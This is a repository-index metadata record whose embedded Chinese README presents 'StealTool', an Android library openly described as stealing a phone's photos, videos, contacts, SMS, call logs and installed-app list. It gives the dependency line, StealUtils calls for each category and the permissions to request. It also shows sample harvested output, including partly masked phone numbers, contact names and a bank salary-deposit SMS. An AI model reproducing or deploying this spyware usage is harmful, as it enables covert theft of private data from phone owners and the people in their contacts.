{"id":16558721,"url":"https://github.com/pengmaster/stealtool","last_synced_at":"2025-03-21T11:31:27.979Z","repository":{"id":143248674,"uuid":"148290320","full_name":"pengMaster/StealTool","owner":"pengMaster","description":":books: 盗取手机敏感信息，Android 6.0之上兼容","archived":false,"fork":false,"pushed_at":"2018-09-11T10:17:57.000Z","size":145,"stargazers_count":45,"open_issues_count":0,"forks_count":8,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-03-01T05:41:24.850Z","etag":null,"topics":["kotlin","library"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pengMaster.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-09-11T09:07:02.000Z","updated_at":"2024-11-12T12:48:20.000Z","dependencies_parsed_at":"2023-04-06T22:27:32.685Z","dependency_job_id":null,"html_url":"https://github.com/pengMaster/StealTool","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pengMaster%2FStealTool","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pengMaster%2FStealTool/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pengMaster%2FStealTool/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pengMaster%2FStealTool/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pengMaster","download_url":"https://codeload.github.com/pengMaster/StealTool/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244135898,"owners_count":20403797,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kotlin","library"],"created_at":"2024-10-11T20:23:33.379Z","updated_at":"2025-03-21T11:31:27.957Z","avatar_url":"https://github.com/pengMaster.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 盗取手机敏感信息，Android 6.0之上兼容\n\n### 项目介绍\n- 盗取信息包含：\n    - 手机中所有照片\n    - 手机中所有视频\n    - 手机中所有通讯录\n    - 手机中所有短信\n    - 手机中所有通话记录\n    - 手机中所有安装应用\n- 兼容Android 6.0及之上版本\n- 动态权限申请工具开放\n\n### 效果展示\n\n##### 1.照片信息\n```java\n    MaterialBean{mLogo='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', title='Screenshot_2017-07-23-01-38-14.png', time='2017-07-23 01:38', filePath='/storage/emulated/0/Pictures/Screenshots/Screenshot_2017-07-23-01-38-14.png', isChecked=false, fileSize=1025172, fileId=89cfda75f36e44e3a46235937a8c3000, uploadedSize=0, fileType=6, uploaded=false, progress=0, timeStamps='1536657493366', flag='0'}\n\n```\n##### 2.视频信息\n```java\n      MaterialBean{mLogo='/storage/emulated/0/DCIM/Camera/视频/VID_20170917_130313.mp4', title='VID_20170917_130313.mp4', time='视频时间-00:00:11', filePath='/storage/emulated/0/DCIM/Camera/视频/VID_20170917_130313.mp4', isChecked=false, fileSize=29080924, fileId=7be02431aeff4d19b2612b686543ce10, uploadedSize=0, fileType=2, uploaded=false, progress=0, timeStamps='1536657639141', flag='0'}\n\n```\n\n##### 3.通讯录\n```java\n    PhoneUserInfo{id='daaf163b02d44e6dabf59cfb9a8c0958', name='*鹏', number='151**054191'}\n    PhoneUserInfo{id='15aebbd2e6134e59992192b095f0e67c', name='侯*利', number='1830***2828'}\n    PhoneUserInfo{id='28bcabbb14e24e3da4b5bd79c10dfa46', name='*八', number='187337**438'}\n    PhoneUserInfo{id='3d637ea6910f4b71a105ae06b7ba3645', name='申通小哥', number='18513**8127'}\n\n```\n\n##### 4.短信\n```java\n    [ 10659805436945326, 0, 【luckin coffee】小蓝杯，北马爱~送你一张5折券（全场饮品通用）下载app立享http://t.cn/RlQ2ad3 回TD退订, 2018-09-11 01:42:27, 接收 ]\n\n    [ 95555, 0, 您账户8693于09月11日11:42入账工资，人民币22267.30。[招商银行], 2018-09-11 11:46:28, 接收 ]\n\n```\n\n##### 5.通话记录\n```java\n     CallInfo{number='13141**2862', date=1527322406732, type=2}\n    CallInfo{number='1891**85043', date=1527325280548, type=1}\n    CallInfo{number='1360110**83', date=1527335837700, type=2}\n\n```\n\n##### 6.安裝App\n```java\n    AppInfo{appName='CSDN', appIcon='android.graphics.drawable.BitmapDrawable@eb62aed'}\n    AppInfo{appName='皮皮虾', appIcon='android.graphics.drawable.BitmapDrawable@4f2ad22'}\n    AppInfo{appName='Chrome', appIcon='android.graphics.drawable.BitmapDrawable@66043b3'}\n    AppInfo{appName='UC浏览器', appIcon='android.graphics.drawable.BitmapDrawable@b0f8d70'}\n    AppInfo{appName='抖音短视频', appIcon='android.graphics.drawable.BitmapDrawable@75788e9'}\n\n```\n\n### 最简单使用方式\n\n##### 1. Add it in your root build.gradle at the end of repositories:\n\n```java\nallprojects {\n\t\trepositories {\n\t\t\t...\n\t\t\tmaven { url 'https://jitpack.io' }\n\t\t}\n\t}\n```\n##### 2. Add the dependency\n\n```java\ndependencies {\n\t        implementation 'com.github.pengMaster:StealTool:1.0.0'\n\t}\n```\n##### 3. Add use to activity\n\n```java\n//获取图片\nStealUtils.getAllLocalPhotos(this@MainActivity)\n\n//获取视频\nStealUtils.getAllLocalVideos(this@MainActivity)\n\n//获取联系人\nStealUtils.getAllContactInfo(this@MainActivity)\n\n//获取短信\nStealUtils.getSmsInPhone(this@MainActivity)\n\n//获取通话记录\nStealUtils.getCallInfos(this@MainActivity)\n\n//获取安装所有App\nStealUtils.getInstallApp(packageManager)\n\n\njava (this) = kotlin (this@MainActivity)\njava (getPackageManager()) = kotlin (packageManager)\n\n```\n\n##### 4. add permission to your menifest\n\n```java\n    \u003c!--读--\u003e\n    \u003cuses-permission android:name=\"android.permission.READ_EXTERNAL_STORAGE\" /\u003e\n    \u003c!--联网--\u003e\n    \u003cuses-permission android:name=\"android.permission.INTERNET\" /\u003e\n    \u003c!--联系人--\u003e\n    \u003cuses-permission android:name=\"android.permission.READ_CONTACTS\" /\u003e\n    \u003cuses-permission android:name=\"android.permission.READ_PHONE_STATE\" /\u003e\n    \u003c!--短信--\u003e\n    \u003cuses-permission android:name=\"android.permission.READ_SMS\" /\u003e\n    \u003c!--通话记录--\u003e\n    \u003cuses-permission android:name=\"android.permission.READ_CALL_LOG\" /\u003e\n```\n\n### 介绍一下很好用的Android6.0动态权限申请工具\n\n\n####  申请一个权限：\n```\nPERMISSION_CAMERA = 申请权限（例如：Manifest.permission.READ_SMS）\nREQUEST_CODE_CAMERA = 请求返回码 重写onRequestPermissionsResult()时用\n\nPermissionUtils.checkAndRequestPermission(mContext, PERMISSION_CAMERA, REQUEST_CODE_CAMERA,\n                new PermissionUtils.PermissionRequestSuccessCallBack() {\n            @Override\n            public void onHasPermission() {\n                // 权限已被授予\n\n            }\n        });\n```\n#### 然后在onRequestPermissionsResult中：\n\n```\nif(PermissionUtils.isPermissionRequestSuccess(grantResults))\n                {\n                    // 权限申请成功\n\n                }\n```\n\n#### 什么？要同时申请多个权限？\n```\n    PermissionUtils.checkAndRequestMorePermissions(mContext, PERMISSIONS, REQUEST_CODE_PERMISSIONS,\n                new PermissionUtils.PermissionRequestSuccessCallBack() {\n            @Override\n            public void onHasPermission() {\n                // 权限已被授予\n\n            }\n        });\n```\n#### 当然上面这些都不是申请权限的正确姿势，理想的姿势应该是：\n- 第一次申请权限：按照正常流程走；\n- 如果用户第一次拒绝了权限申请，第二次申请时应向用户解释权限用途；\n- 如果用户勾选了“不再询问”选项，应引导用户去设置页手动开启权限。\n\n于是，引申出了复杂版的权限申请方法：\n## 自定义权限申请：\n```\nPERMISSION_CAMERA = 申请权限（例如：Manifest.permission.READ_SMS）\nPermissionUtils.checkPermission(mContext, PERMISSION_CAMERA,\n                new PermissionUtils.PermissionCheckCallBack() {\n            @Override\n            public void onHasPermission() {\n                // 已授予权限\n\n            }\n\n            @Override\n            public void onUserHasAlreadyTurnedDown(String... permission) {\n                // 上一次申请权限被拒绝，可用于向用户说明权限原因，然后调用权限申请方法。\n            }\n\n            @Override\n            public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {\n                // 第一次申请权限或被禁止申请权限，建议直接调用申请权限方法。\n            }\n        });\n```\n#### 然后在onRequestPermissionsResult中：\n\n```\nPermissionUtils.onRequestPermissionResult(mContext, PERMISSION_CAMERA, grantResults, new PermissionUtils.PermissionCheckCallBack() {\n                    @Override\n                    public void onHasPermission() {\n\n                    }\n\n                    @Override\n                    public void onUserHasAlreadyTurnedDown(String... permission) {\n                        Toast.makeText(mContext, \"我们需要\"+Arrays.toString(permission)+\"权限\", Toast.LENGTH_SHORT).show();\n                    }\n\n                    @Override\n                    public void onUserHasAlreadyTurnedDownAndDontAsk(String... permission) {\n                        Toast.makeText(mContext, \"我们需要\"+Arrays.toString(permission)+\"权限\", Toast.LENGTH_SHORT).show();\n                        // 显示前往设置页的dialog\n                        );\n                    }\n                });\n```\n#### 参与贡献\n\n1. Fork 本项目\n2. 新建 Feat_xxx 分支\n3. 提交代码\n4. 新建 Pull Request\n5. 权限工具参考：https://github.com/ifadai/PermissionUtils\n\n\n#### github地址\n\n - 项目地址：https://github.com/pengMaster/StealTool\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpengmaster%2Fstealtool","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpengmaster%2Fstealtool","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpengmaster%2Fstealtool/lists"}